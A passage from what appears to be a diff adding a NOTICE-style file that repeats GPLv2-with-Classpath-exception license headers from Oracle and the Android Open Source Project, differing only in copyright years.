+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1995, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1995, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1995, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1995, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1995, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1995, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1996, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1996, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1996, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1996, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1996, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1996, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1996, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1997, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1997, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1997, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1997, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1997, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1997, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1997, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1997, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1998, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1998, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1998, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1998, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1999, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
+Copyright (c) 1999, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (C) 2014 The Android Open Source Project
